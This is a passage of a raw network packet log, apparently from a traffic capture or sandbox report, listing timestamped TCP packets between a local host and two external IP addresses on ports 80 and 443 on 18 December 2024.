Dec 18, 2024 21:30:26.303854942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.304709911 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.304758072 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.304835081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.304879904 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.305771112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.305819035 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.305978060 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.306021929 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.306845903 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.306893110 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.307051897 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.307096004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.307895899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.307945013 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.308089018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.308146000 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.308912992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.308963060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.309092999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.309138060 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.309963942 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.310012102 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.310136080 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.310182095 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.311011076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.311075926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.311203957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.311253071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.312172890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.312222004 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.312381983 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.312426090 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.313446999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.313503027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.313585043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.313637972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.314363003 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.314433098 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.314500093 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.314541101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.315232038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.315279007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.482486963 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.482505083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.482578993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.483180046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.483196020 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.483225107 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.483249903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.483786106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.483834028 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.484122038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.484164953 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.484515905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.484565973 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.484720945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.484764099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.485521078 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.485564947 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.485681057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.485723019 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.486560106 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.486603022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.486749887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.486792088 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.487657070 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.487701893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.487988949 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.488033056 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.488709927 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.488754988 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.488835096 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.488874912 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.489754915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.489795923 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.489964962 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.490009069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.490796089 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.490844965 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.490997076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.491040945 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.491868019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.491911888 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.492171049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.492217064 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.492908001 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.492952108 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.493112087 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.493151903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.493962049 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.494007111 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.494148016 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.494190931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.495011091 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.495213985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.495265961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.496109009 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.496155024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.496237993 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.496285915 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.496315002 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:26.496339083 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.497148037 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.497317076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.497361898 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.498197079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.498387098 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:26.498397112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.498404026 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.498414040 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.498469114 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.498833895 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.499288082 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.499492884 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.499546051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.500401974 CET	49809	443	192.168.2.5	185.199.111.133
Dec 18, 2024 21:30:26.500416040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.500468969 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.500541925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.500637054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.501399994 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.501444101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.501580000 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.501621962 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.502433062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.502475023 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.502609968 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.502651930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.503499985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.503561020 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.503690004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.503731966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.504643917 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.504687071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.504856110 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.504894972 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.505614996 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.505656958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.505780935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.505826950 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.506704092 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.506747961 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.506877899 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.506922007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.507802010 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.507848024 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.507944107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.507987022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.508898973 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.508939981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.509138107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.509182930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.510026932 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.510071039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.510150909 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.510195971 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.511120081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.511179924 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.511229992 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.511274099 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.512053013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.512111902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.512212038 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.512270927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.513008118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.513068914 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.513181925 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.513231039 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.514126062 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.514184952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.514286995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.514324903 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.515156984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.515357971 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.515405893 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.516401052 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.516669989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.516732931 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.517910957 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.517972946 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.518089056 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.518208027 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.518668890 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.518721104 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.518980980 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.519522905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.519618988 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.519630909 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.519665956 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.520508051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.520659924 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.520715952 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.521473885 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.521702051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.521759987 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.522552013 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.522739887 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.522804022 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.523613930 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.523669958 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.523746014 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.524646044 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.524703979 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.524936914 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.525777102 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.525851011 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.526192904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.526813984 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.526859999 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.527060032 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.527098894 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.527878046 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.528024912 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.528068066 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.529170990 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.529314995 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.529357910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.530231953 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.530569077 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.530611992 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.531615019 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.531662941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.531841993 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.532531023 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.532573938 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.532767057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.533198118 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.533242941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.533396006 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.533437014 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.534158945 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.534465075 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.534517050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.535305977 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.535453081 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.535500050 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.536323071 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.536520958 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.536567926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.537410021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.538193941 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.543353081 CET	443	49809	185.199.111.133	192.168.2.5
Dec 18, 2024 21:30:26.674052954 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.674134016 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.674195051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.674334049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.674514055 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.674552917 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.674819946 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.674879074 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.675486088 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.675523996 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.675641060 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.675679922 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.676557064 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.676595926 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.676728964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.676773071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.677567959 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.677611113 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.677752018 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.677793980 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.678632021 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.678690910 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.678807974 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.678853989 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.679703951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.679743052 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.679858923 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.679898977 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.680838108 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.680875063 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.681154966 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.681194067 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.682140112 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.682203054 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.682313919 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.682354927 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.682863951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.682903051 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.683048964 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.683089018 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.683917999 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.683959007 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.684084892 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.684123993 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.684983969 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.685025930 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.685156107 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.685198069 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.686023951 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.686157942 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.686227083 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.686266899 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.687104940 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.687143087 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.687277079 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.687321901 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.688158989 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.688199043 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.688329935 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.688368082 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.689229012 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.689290047 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.689403057 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.689440966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.690296888 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.690340042 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.690478086 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.690524101 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.691361904 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.691415071 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.691566944 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.691606045 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.692387104 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.692425966 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.692559004 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.692595959 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.693514109 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.693562984 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.693639040 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.693677902 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.694519043 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.694559097 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.694681883 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.694720030 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.695564985 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.695609093 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.695754051 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.695794106 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.696626902 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.696665049 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.696788073 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.696825981 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.697717905 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.697879076 CET	80	49808	31.41.244.11	192.168.2.5
Dec 18, 2024 21:30:26.697880983 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.697918892 CET	49808	80	192.168.2.5	31.41.244.11
Dec 18, 2024 21:30:26.698746920 CET	80	49808	31.41.244.11	192.168.2.5
